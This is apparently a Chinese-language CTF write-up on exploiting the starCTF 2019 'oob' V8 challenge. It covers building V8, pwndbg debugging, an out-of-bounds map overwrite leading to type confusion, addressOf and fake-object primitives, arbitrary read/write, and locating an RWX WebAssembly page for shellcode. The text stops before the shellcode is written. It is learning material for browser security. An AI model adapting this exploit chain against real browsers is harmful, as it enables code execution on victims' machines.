前言

开坑Chrome浏览器漏洞,找个简单的开始入手。

跟PHP的UAF玩法很像,触类旁通不难理解。


WebAssembly

简单来说就是为了提高性能,而将C等语言编译成一段类似字节码一样的指令,并在浏览器上执行。

根据官方文档参考来简单认识一下这门技术,首先去GitHub下载Emscripten,用于将简单的程序编译成WebAssembly。

开始安装:

./emsdk install latest
/emsdk activate latest
source ./emsdk_env.sh

安装完成:

然后编译一个简单的测试html和配套js:

echo '#include <stdio.h>' > hello.c
echo 'int main(int argc, char ** argv) {' >> hello.c
echo 'printf("Hello, world!\n");' >> hello.c
echo '}' >> hello.c
emcc hello.c -s WASM=1 -o hello.html

编译结果:

可以看到会编译完成三个文件,一个html一个js和一个wasm,可以看出WebAssembly的运行机制就是由js调用wasm实现使用C等语言实现的代码。一般来说为了安全考虑,wasm不会允许用户直接调用系统函数(比如printf),wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。这种通过emcc编译的方式出来的结果会比较复杂,但是可以将printf这种函数调用编译成wasm可以执行的内容,具体不明。

在线编译弄个不调用函数的简单测试:

int main() { 
    return(9*9);
}

编译生成字节码后然后再用js调用:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,139,128,128,128,0,1,133,128,128,128,0,0,65,209,0,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
console.log(wasmInstance.exports.main());

执行js就可以看到控制台上打印了81。

v8环境搭建

通过starCTF2019的一道题来入门,首先要搭建v8(chrome浏览器js引擎)环境。

听说因为墙的关系安装起来很麻烦,所以根据参考文章,先去vultr弄个国外主机(64G硬盘、2G内存,centos7,centos8要装python2似乎有点麻烦了),然后复制黏贴命令:

yum groupinstall "Development Tools"  
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598(2019-starctf这道入门题)
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version

切换其他漏洞分支可以用于学习其他漏洞,参考

编译时间很长,还遇到了swap区不够大的问题,参考文章

编译完成后将整个v8目录打包,然后ssh也好,http也好,ftp也好,找个办法把包下载到虚拟机解压,包有点大差不多3G,整个文件夹解压出来大概9G。(我是通过xshell进行下载的,宿舍奇怪的网络早上下载比晚上快多了)

然后还要配置一下pwndbg,先把v8 gdb的初始化文件放到用户目录下(好像也没必要?不过算了):

cd ~/v8/v8/tools
mv gdbinit gdbinit_v8
cp gdbinit_v8 ~/.gdbinit_v8

然后像pwndbg的配置一样,让gdb启动时同时启动v8 gdb,修改用户目录下gdb的初始化文件.gdbinit,加入:

source ~/.gdbinit_v8
source ~/桌面/v8/v8/v8/tools/gdb-v8-support.py

然后写个js用于测试:

var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);  //打印a调试信息
%SystemBreak();  //触发第一次调试
%DebugPrint(b);  //打印b调试信息
%SystemBreak();  //触发第二次调试
%DebugPrint(c);  //打印c调试信息
%SystemBreak();  //触发第三次调试

然后:

cd ~/v8/v8/out.gn/x64.debug/
gdb ./d8

运行脚本可以看到:

pwndbg> set args --allow-natives-syntax ./test.js
pwndbg> r
Starting program: /home/aluvion/桌面/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax ./test.js
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7f6681d74700 (LWP 6831)]
DebugPrint: 0x3b73a438df19: [JSArray]
 - map: 0x3157acc82d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x256361fd1111 <JSArray[0]>
 - elements: 0x3b73a438de39 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x132831bc0c71 <FixedArray[0]> {
    #length: 0x263f214001a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x3b73a438de39 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
0x3157acc82d99: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 32
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x132831bc04d1 <undefined>
 - prototype_validity cell: 0x263f21400609 <Cell value= 1>
 - instance descriptors (own) #1: 0x256361fd1ef9 <DescriptorArray[1]>
 - layout descriptor: (nil)
 - transitions #1: 0x256361fd1e09 <TransitionArray[4]>Transition array #1:
     0x132831bc4ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3157acc82e89 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x256361fd1111 <JSArray[0]>
 - constructor: 0x256361fd0ec1 <JSFunction Array (sfi = 0x263f2140aca1)>
 - dependent code: 0x132831bc02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

v8调试环境搭建成功,更新/重新编译方式:

tools/dev/gm.py x64.debug d8

或许可以用来切换分支之后重新编译?晚点再试试。

v8基础知识

基本类型在内存中的存储

首先是几个基础类型,包括整型(Smi/immediate small integer)、浮点数(Double)及指针(Pointers),在内存中保存的形态,按照参考文章中的描述:

Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9(感觉这里应该不是&是|)

为了区分数字和指针指向的地址,v8将地址的最低位置为1,所以指针指向的地址-1才是该对象在内存中的真正地址。

然后来看看v8 gdb的几个基础调试知识。

allow-natives-syntax选项

在gdb中:

pwndbg> set args --allow-natives-syntax ./test.js

来使用。

主要定义了两个调试用函数:

  • %DebugPrint(a),用于打印对象地址
  • %SystemBreak(),相当于断点

job命令

将JavaScript对象在内存中的数据打印成可视形态,比如打印某个对象:

pwndbg> job 0x19e704f8def1
0x19e704f8def1: [JSArray]
 - map: 0x0a950fcc2d99 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3f3520d91111 <JSArray[0]>
 - elements: 0x19e704f8dde1 <FixedArray[3]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 3
 - properties: 0x39d6f0040c71 <FixedArray[0]> {
    #length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x19e704f8dde1 <FixedArray[3]> {
           0: 1
           1: 2
           2: 3
 }
pwndbg> job 0x19e704f8df39
0x19e704f8df39: [JSArray]
 - map: 0x0a950fcc2ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x3f3520d91111 <JSArray[0]>
 - elements: 0x19e704f8df11 <FixedDoubleArray[3]> [PACKED_DOUBLE_ELEMENTS]
 - length: 3
 - properties: 0x39d6f0040c71 <FixedArray[0]> {
    #length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x19e704f8df11 <FixedDoubleArray[3]> {
           0: 1.2
           1: 2.2
           2: 3.3
 }
pwndbg> job 0x19e704f8df81
0x19e704f8df81: [JSArray]
 - map: 0x0a950fcc2f79 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x3f3520d91111 <JSArray[0]>
 - elements: 0x19e704f8dfa1 <FixedArray[3]> [PACKED_ELEMENTS]
 - length: 3
 - properties: 0x39d6f0040c71 <FixedArray[0]> {
    #length: 0x3b1bc78c01a9 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x19e704f8dfa1 <FixedArray[3]> {
           0: 1
           1: 0x19e704f8dfc9 <HeapNumber 2.2>
           2: 0x19e704f8def1 <JSArray[3]>
 }

经过测试我们可以看出,当一个js对象中同时存在整型和浮点型,他们的存储方式就是浮点式。而如果存在对象类型,存储的浮点数和对象会用指针进行表示。

telescope

将某处地址处的数据打印出来:

wndbg> telescope 0x19e704f8df80
00:0000│   0x19e704f8df80 —▸ 0xa950fcc2f79 ◂— 0x4000039d6f00401
01:0008│   0x19e704f8df88 —▸ 0x39d6f0040c71 ◂— 0x39d6f00408
02:0010│   0x19e704f8df90 —▸ 0x19e704f8dfa1 ◂— 0x39d6f00408
03:0018│   0x19e704f8df98 ◂— 0x300000000
04:0020│   0x19e704f8dfa0 —▸ 0x39d6f0040801 ◂— 0x39d6f00401
05:0028│   0x19e704f8dfa8 ◂— 0x300000000
06:0030│   0x19e704f8dfb0 ◂— 0x100000000
07:0038│   0x19e704f8dfb8 —▸ 0x19e704f8dfc9 ◂— 0x9a000039d6f00405

可以看出,一个对象的内存中的前三个部分分别为:map属性,properties属性(对象成员保存在这里)和elements属性(数组成员保存在这里)。

查看一下数组的elements属性:

pwndbg> job 0x081d75e0dfa1
0x81d75e0dfa1: [FixedArray]
 - map: 0x01a834580801 <Map>
 - length: 3
           0: 1
           1: 0x081d75e0dfc9 <HeapNumber 2.2>
           2: 0x081d75e0def1 <JSArray[3]>
pwndbg> telescope 0x081d75e0dfa0
00:0000│   0x81d75e0dfa0 —▸ 0x1a834580801 ◂— 0x1a8345801
01:0008│   0x81d75e0dfa8 ◂— 0x300000000
02:0010│   0x81d75e0dfb0 ◂— 0x100000000
03:0018│   0x81d75e0dfb8 —▸ 0x81d75e0dfc9 ◂— 0x9a000001a8345805
04:0020│   0x81d75e0dfc0 —▸ 0x81d75e0def1 ◂— 0x7100000e0b5ea82d
05:0028│   0x81d75e0dfc8 —▸ 0x1a834580561 ◂— 0x2000001a8345801
06:0030│   0x81d75e0dfd0 ◂— 0x400199999999999a
07:0038│   0x81d75e0dfd8 ◂— 0xdeadbeedbeadbeef

可以看到,elements属性的三个部分分别是:map属性、成员数量和成员。

类型辨认

我们可以注意到,我们使用job命令读取一个地址时可以将其可视化打印成相应的数字或者对象,其中必定经过了类型辨认的阶段。

整型很好辨认,其低32位全是0,浮点数和对象的辨认就需要依靠他们的map属性了。

如果对象中的成员全是数字(整型/浮点数),那就不需要每个成员都带一个map属性,再用指针来表示了。

当成员中存在对象时,指针会指向该成员的map属性。(浮点数变成map+浮点的存储形式,对象不变)

对象及其elements属性的map属性

仔细观察可以发现,对象和elements属性各有一个map属性,里面都有类型相关的标识,那么在访问elements属性时,会以哪个属性为准呢?

尝试在gdb中将一个对象数组的map属性修改为一个浮点型数组的map属性(整型只有32位,无法完全读取),修改一下测试脚本:

var obj = {"a": 1};
var float_array = [1.1];
var obj_array = [obj];
%DebugPrint(float_array);
%DebugPrint(obj_array);
%SystemBreak();
console.log(obj_array[0]);

然后修改内存(用不了job命令会稍有麻烦,不过问题不大):

0x18a9c7bcde61 <JSArray[1]>
0x18a9c7bcde99 <JSArray[1]>
pwndbg> telescope 0x18a9c7bcde98
00:0000│   0x18a9c7bcde98 —▸ 0x16beebb02f79 ◂— 0x40000373a830001
01:0008│   0x18a9c7bcdea0 —▸ 0x373a83000c71 ◂— 0x373a830008
02:0010│   0x18a9c7bcdea8 —▸ 0x18a9c7bcde81 ◂— 0x373a830008
03:0018│   0x18a9c7bcdeb0 ◂— 0x100000000
04:0020│   0x18a9c7bcdeb8 ◂— 0x0
... ↓
pwndbg> telescope 0x18a9c7bcde60
00:0000│   0x18a9c7bcde60 —▸ 0x16beebb02ed9 ◂— 0x40000373a830001
01:0008│   0x18a9c7bcde68 —▸ 0x373a83000c71 ◂— 0x373a830008
02:0010│   0x18a9c7bcde70 —▸ 0x18a9c7bcde49 ◂— 0x373a830014
03:0018│   0x18a9c7bcde78 ◂— 0x100000000
04:0020│   0x18a9c7bcde80 —▸ 0x373a83000801 ◂— 0x373a830001
05:0028│   0x18a9c7bcde88 ◂— 0x100000000
06:0030│   0x18a9c7bcde90 —▸ 0x18a9c7bcddf9 ◂— 0x71000016beebb0ab
07:0038│   0x18a9c7bcde98 —▸ 0x16beebb02f79 ◂— 0x40000373a830001
pwndbg> set {unsigned long}0x18a9c7bcde98 = 0x0016beebb02ed9
pwndbg> c
Continuing.
1.3397815063873e-310

输出不是我们想看到的地址形式,需要做下类型转换:

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);

// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}
console.log(hex(f2i(1.3397815063873e-310)))

最后得到:000018a9c7bcddf9,即对象数组中成员所在的elements属性(elements指针指向的0x18a9c7bcde80地址处),中的第一个成员0x18a9c7bcddf9(位于地址0x18a9c7bcde90处)。

顺带一提,如果调试的是debug版本,修改内存之后再打印对象会发现程序错误,大概是这个样子:

参考文章2也有提到这个问题,这里我就不加以研究了。

starCTF2019

题目地址:https://github.com/0xfocu5/CTF/blob/master/Chrome/2019-starctf-oob.zip

题目提供了一个diff文件对源代码进行了修改,首先我们要通过这个diff文件对我们下载到的源代码进行更新和重编译。

环境搭建

用vultr上的国外云主机更新一遍,首先把diff文件放到v8目录下,执行:

git apply oob.diff

然后查看src/bootstrapper.cc:

可以看到补丁已经打上去了,然后我们重新编译出d8:

tools/dev/gm.py x64.release d8

然后把out目录打包到本地即可,简单测试一下oob函数能不能调用:

aluvion@aluvion:~/桌面/v8/v8/v8/out/x64.release$ cat test.js 
var a = [1];
console.log(a.oob());

aluvion@aluvion:~/桌面/v8/v8/v8/out/x64.release$ ./d8 test.js 
2.84793937122275e-310

没有问题,环境搭建完成。

oob函数

看看这个函数的具体实现:

+BUILTIN(ArrayOob){
+    uint32_t len = args.length();
+    if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+    Handle<JSReceiver> receiver;
+    ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+            isolate, receiver, Object::ToObject(isolate, args.receiver()));
+    Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+    FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+    uint32_t length = static_cast<uint32_t>(array->length()->Number());
+    if(len == 1){
+        //read
+        return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+    }else{
+        //write
+        Handle<Object> value;
+        ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+                isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+        elements.set(length,value->Number());
+        return ReadOnlyRoots(isolate).undefined_value();
+    }
+}

简单来说就是根据参数数量执行读或写操作,而C++的成员函数的第一个参数是this指针,所以实际上就是无参执行读操作,有1个参数时执行写操作。仔细观测对数组进行的读写操作,访问的都是array[length],而正常数组的下标都是0至length-1,所以这里实际上存在一个越界访问问题,会对。

我们通过调试一下看看:

var obj = {"obj": "Twings"};
var obj_array = [obj];
%DebugPrint(obj_array);
%SystemBreak();

附近的内存:

pwndbg> telescope 0x1308b094dde8 // 对象数组的存放地址
00:0000│   0x1308b094dde8 —▸ 0x3433ccc82f79 ◂— 0x4000037cf4b8c01 // 对象数组的map属性,标识了这是个对象数组
01:0008│   0x1308b094ddf0 —▸ 0x37cf4b8c0c71 ◂— 0x37cf4b8c08
02:0010│   0x1308b094ddf8 —▸ 0x1308b094ddd1 ◂— 0x37cf4b8c08  // 对象数组的elements属性,指向成员对象的指针放置在其中
03:0018│   0x1308b094de00 ◂— 0x100000000
04:0020│   0x1308b094de08 ◂— 0x0
... ↓
pwndbg> telescope 0x1308b094ddd0 // 数组成员的存放地址,即对象数组的elements属性
00:0000│   0x1308b094ddd0 —▸ 0x37cf4b8c0801 ◂— 0x37cf4b8c01
01:0008│   0x1308b094ddd8 ◂— 0x100000000 // 成员数量
02:0010│   0x1308b094dde0 —▸ 0x1308b094dd81 ◂— 0x7100003433ccc8ab // 第一个成员对象的地址
03:0018│   0x1308b094dde8 —▸ 0x3433ccc82f79 ◂— 0x4000037cf4b8c01 // 对象数组的首个地址单元,即其map属性
04:0020│   0x1308b094ddf0 —▸ 0x37cf4b8c0c71 ◂— 0x37cf4b8c08
05:0028│   0x1308b094ddf8 —▸ 0x1308b094ddd1 ◂— 0x37cf4b8c08
06:0030│   0x1308b094de00 ◂— 0x100000000
07:0038│   0x1308b094de08 ◂— 0x0

很明显,这里读写的其实就是对象数组的首个地址单元的数据,即其map属性的地址。

也就是说,通过这个越界写,我们可以让v8的类型判断混乱,从而让一个对象数组被认为是一个浮点数组:

var obj = {"obj": "Twings"};
var float_array = [1.1];
var obj_array = [obj];
var float_array_map = float_array.oob();
var obj_array_map = obj_array.oob();

%DebugPrint(obj_array);
//%SystemBreak();

obj_array.oob(float_array_map);
console.log(hex(f2i(obj_array[0])));

结果就会打印出第一个成员对象的地址:

0x32884604ec51 <JSArray[1]>
000032884604ebb1

整合一下成一个函数:

function addressOf(o) {
    obj_array[0] = o;
    obj_array.oob(float_array_map);
    let obj_addr = obj_array[0];
    obj_array.oob(obj_array_map);
    return obj_addr;
}

console.log(hex(f2i(addressOf(float_array))));
%DebugPrint(float_array);

调试确认没有问题:

00000ce56574ed51
0x0ce56574ed51 <JSArray[1]>

任意地址读写

通过这个类型混淆,我们能做什么呢?

将对象数组混淆成浮点数组,我们可以打印一个对象的地址。

而反过来,将浮点数组混淆成对象数组,然后访问其第一个成员,v8就会将这个浮点数当成一个对象地址。而因为这个浮点数可以由我们随意控制,所以如果我们可以控制某一块内存的数据,我们就可以伪造一个对象出来。

这个问题也很好解决,我们可以设置一个浮点数组,因为浮点数组的成员是成片排列在内存中的,所以这样一来我们就可以完全控制一块内存用以伪造对象。然后通过addressOf函数获取其内存地址,通过调试我们可以发现elements一般紧贴该对象,所以可以通过计算获取这片内存的地址,先调试一下看看偏移:

var fake_array = [
    float_array_map,
    i2f(0n),
    addressOf(float_array),
    i2f(0x100000000n),
    1.1,
]

var fake_array_addr = f2i(addressOf(fake_array));
console.log(hex(fake_array_addr));

结果:

pwndbg> telescope 0x000012610a44f200
00:0000│   0x12610a44f200 —▸ 0x1e62dfe02ed9 ◂— 0x40000245bdfdc01
01:0008│   0x12610a44f208 —▸ 0x245bdfdc0c71 ◂— 0x245bdfdc08
02:0010│   0x12610a44f210 —▸ 0x12610a44f1c9 ◂— 0x245bdfdc14
03:0018│   0x12610a44f218 ◂— 0x500000000
04:0020│   0x12610a44f220 —▸ 0x245bdfdc12c9 ◂— 0x245bdfdc01
05:0028│   0x12610a44f228 ◂— 0x100000000
06:0030│   0x12610a44f230 ◂— 0x40000000000
07:0038│   0x12610a44f238 —▸ 0x245bdfdc12c9 ◂— 0x245bdfdc01
pwndbg> p/x 0x000012610a44f201-0x12610a44f1c9
$4 = 0x38

因为elements属性前两个地址单元放的是map属性和成员数量,第三个地址单元开始才是成员,所以再计算上0x10的偏移,最后结果应该是-0x38+0x10。

通过伪造一个浮点数组,我们可以读取其成员,即elements属性所指向地址后方一点地方的数据,再简单测试一下,把伪造浮点数组的长度加多一个0(长度变为16),同样由于elements指针和具体成员之间存在一个0x10的偏移,修改一下伪造浮点数组的第三个浮点数:

var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(f2i(addressOf(float_array)) - 0x10n),
    i2f(0x1000000000n),
    1.1,
]

var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
float_array[0] = i2f(fake_array_addr);
float_array.oob(obj_array_map);
console.log(hex(fake_array_addr));
let fake_obj = float_array[0];
console.log(hex(f2i(fake_obj[0])));

输出结果:

0000220265bcf259
0000343668202f79
float array map: 0000343668202ed9 , obj array map: 0000343668202f79
0x220265bcf209 <JSArray[1]>
0x220265bcf1d1 <JSArray[1]>
0x220265bcf259 <JSArray[16]>

可以看到,我们成功获得了当时被设置在浮点数组map属性位置,对象数组的map属性地址。

同样写成函数:

function getFakeObj() {
    var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
    float_array[0] = i2f(fake_array_addr);
    float_array.oob(obj_array_map);
    let fake_obj = float_array[0];
    float_array.oob(float_array_map);
    return fake_obj;
}

顺便把任意地址读写也写成函数:

var fake_obj = getFakeObj();

function read(addr) {
    fake_array[2] = i2f(f2i(addr) - 0x10n)
    return fake_obj[0];
}

function write(addr, data) {
    fake_array[2] = i2f(f2i(addr) - 0x10n)
    fake_obj[0] = data;
}

console.log(hex(f2i(read(addressOf(obj_array)))));
write(addressOf(float_array), 1.1);

我们已经实现了任意地址读,任意地址写也很简单,直接修改fake_obj即可。

命令执行

有了任意地址读写,我们可以做什么呢?

与PHP的UAF不同,chrome没有什么可以执行系统命令的函数,无法直接通过调用函数的方式执行命令。

不过chrome中存在wasm技术,虽然wasm编译后的结果看起来是一段v8字节码而不是系统汇编代码,不过当它加载到v8中的时候,v8会不会生成一些会执行到的汇编代码在内存中?如果有,这段地址就是可读可写可执行的,我们就可以通过任意地址写将其替换成我们的shellcode从而完成命令执行。

我们先来调试看看wasm加载字节码之后形成的函数是什么样子的:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%SystemBreak();

结果:

DebugPrint: 0x38400785fa69: [Function] in OldSpace
 - map: 0x17f2a8584379 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x384007842109 <JSFunction (sfi = 0x828bce48039)>
 - elements: 0x14d3e7a80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x38400785fa31 <SharedFunctionInfo 0>
 - name: 0x14d3e7a84ae1 <String[#1]: 0>
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x384007841869 <NativeContext[246]>
 - code: 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
 - WASM instance 0x38400785f871
 - WASM function index 0
 - properties: 0x14d3e7a80c71 <FixedArray[0]> {
    #length: 0x0828bce404b9 <AccessorInfo> (const accessor descriptor)
    #name: 0x0828bce40449 <AccessorInfo> (const accessor descriptor)
    #arguments: 0x0828bce40369 <AccessorInfo> (const accessor descriptor)
    #caller: 0x0828bce403d9 <AccessorInfo> (const accessor descriptor)
 }

先看看很可疑的code属性:

着实可疑,再看看权限:

不可写,算了算了。context属性看起来是内置相关的东西,然后看看shared_info:

pwndbg> job 0x38400785fa31
0x38400785fa31: [SharedFunctionInfo] in OldSpace
 - map: 0x14d3e7a809e1 <Map[56]>
 - name: 0x14d3e7a84ae1 <String[#1]: 0>
 - kind: NormalFunction
 - function_map_index: 144
 - formal_parameter_count: 0
 - expected_nof_properties: 0
 - language_mode: sloppy
 - data: 0x38400785fa09 <WasmExportedFunctionData>
 - code (from data): 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
 - function token position: -1
 - start position: -1
 - end position: -1
 - no debug info
 - scope info: 0x14d3e7a80c61 <ScopeInfo[0]>
 - length: 0
 - feedback_metadata: 0x14d3e7a82a39: [FeedbackMetadata]
 - map: 0x14d3e7a81319 <Map>
 - slot_count: 0

看起来跟wasm有关,它的code跟上一级对象一致,还有一个from data的标注,那看看它的data,即WasmExportedFunctionData(看起来就是跟导入的字节码有关):

pwndbg> job 0x38400785fa09
0x38400785fa09: [WasmExportedFunctionData] in OldSpace
 - map: 0x14d3e7a85879 <Map[40]>
 - wrapper_code: 0x3be236f42001 <Code JS_TO_WASM_FUNCTION>
 - instance: 0x38400785f871 <Instance map = 0x17f2a8589789>
 - function_index: 0

wrapper_code同样跟上一级对象的code属性一致,看看instance:

pwndbg> job 0x38400785f871
0x38400785f871: [WasmInstanceObject] in OldSpace
 - map: 0x17f2a8589789 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0a9ce3bcac19 <Object map = 0x17f2a858abd9>
 - elements: 0x14d3e7a80c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x0a9ce3bce411 <Module map = 0x17f2a85891e9>
 - exports_object: 0x0a9ce3bce681 <Object map = 0x17f2a858ad19>
 - native_context: 0x384007841869 <NativeContext[246]>
 - memory_object: 0x38400785f999 <Memory map = 0x17f2a858a189>
 - table 0: 0x0a9ce3bce619 <Table map = 0x17f2a8589aa9>
 - imported_function_refs: 0x14d3e7a80c71 <FixedArray[0]>
 - managed_native_allocations: 0x0a9ce3bce5c1 <Foreign>
 - memory_start: 0x7fead5e20000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x5620435b34f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x5620435b3510
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x14d3e7a80c71 <FixedArray[0]> {}

打印内存看看:

pwndbg> x/20xg 0x27859981f888
0x27859981f888:    0x00002679e5989789    0x0000124450540c71
0x27859981f898:    0x0000124450540c71    0x00007fdcacc70000
0x27859981f8a8:    0x0000000000010000    0x000000000000ffff
0x27859981f8b8:    0x000055caa43b78c8    0x0000124450540c71
0x27859981f8c8:    0x000055caa44324f0    0x00001244505404d1
0x27859981f8d8:    0x0000000000000000    0x0000000000000000
0x27859981f8e8:    0x0000000000000000    0x0000000000000000
0x27859981f8f8:    0x000055caa4432510    0x00001244505404d1
0x27859981f908:    0x000055caa43adc00    0x00000ea5d7323000
0x27859981f918:    0x000000ac9d38e419    0x000000ac9d38e689
pwndbg> telescope 0x27859981f888+0x88
00:0000│   0x27859981f910 —▸ 0xea5d7323000 ◂— movabs r10, 0xea5d7323260 /* 0xea5d7323260ba49 */
01:0008│   0x27859981f918 —▸ 0xac9d38e419 ◂— 0x7100002679e59891
02:0010│   0x27859981f920 —▸ 0xac9d38e689 ◂— 0x7100002679e598ad
03:0018│   0x27859981f928 —▸ 0x278599801869 ◂— 0x124450540f
04:0020│   0x27859981f930 —▸ 0x27859981f9b1 ◂— 0x7100002679e598a1
05:0028│   0x27859981f938 —▸ 0x1244505404d1 ◂— 0x1244505405
pwndbg> vmmap 0xea5d7323000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
     0xea5d7323000      0xea5d7324000 rwxp     1000 0       +0x0

我们可以发现,在偏移0x88处存在一个地址,而该地址段可读可写可执行,接下来我们需要确认这一段代码会被执行到,调用一下从字节码中加载的函数f,然后继续执行:

pwndbg> b *0xea5d7323000
Breakpoint 2 at 0xea5d7323000
pwndbg> c
Continuing.

Thread 1 "d8" hit Breakpoint 2, 0x00000ea5d7323000 in ?? ()

可以看到,往这里写代码后确实是可以执行的。

我们需要用任意地址读获取这个地址:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var wasm_addr = addressOf(f);
var shared_info_addr = read(i2f(f2i(wasm_addr) + 0x18n));
var data_addr = read(i2f(f2i(shared_info_addr) + 0x8n));
var instance_addr = read(i2f(f2i(data_addr) + 0x10n));
var shellcode_addr = read(i2f(f2i(instance_addr) + 0x88n));
console.log(hex(f2i(shellcode_addr)));

然后用任意地址写把我们的命令执行shellcode写入即可,不过直接用write函数写入的时候有点问题,因为写入时需要将指针指向-0x10偏移的地方,而这个偏移对于这段汇编代码来说是一个不可读的区域,所以就会导致程序崩溃。

解决的方法来自参考文章:

完整利用

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
// 浮点数转换为64位无符号整数
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64位无符号整数转为浮点数
function i2f(i)
{
    bigUint64[0] = i;
    return float64[0];
}
// 64位无符号整数转为16进制字节串
function hex(i)
{
    return i.toString(16).padStart(16, "0");
}

var obj = {"obj": "Twings"};
var float_array = [1.1];
var obj_array = [obj];
var float_array_map = float_array.oob();
var obj_array_map = obj_array.oob();

function addressOf(o) {
    obj_array[0] = o;
    obj_array.oob(float_array_map);
    let obj_addr = obj_array[0];
    obj_array.oob(obj_array_map);
    return obj_addr;
}

var fake_array = [
    float_array_map,
    i2f(0n),
    i2f(f2i(addressOf(float_array)) - 0x10n),
    i2f(0x1000000000n),
    1.1,
]

function getFakeObj() {
    var fake_array_addr = f2i(addressOf(fake_array)) - 0x38n + 0x10n;
    float_array[0] = i2f(fake_array_addr);
    float_array.oob(obj_array_map);
    let fake_obj = float_array[0];
    float_array.oob(float_array_map);
    return fake_obj;
}

var fake_obj = getFakeObj();

function read(addr) {
    fake_array[2] = i2f(f2i(addr) - 0x10n)
    return fake_obj[0];
}

function write(addr, data) {
    fake_array[2] = i2f(f2i(addr) - 0x10n)
    console.log("write at: " + hex(f2i(i2f((f2i(addr) - 0x10n)))) + ", data: " + hex(f2i(data)));
    fake_obj[0] = data;
}

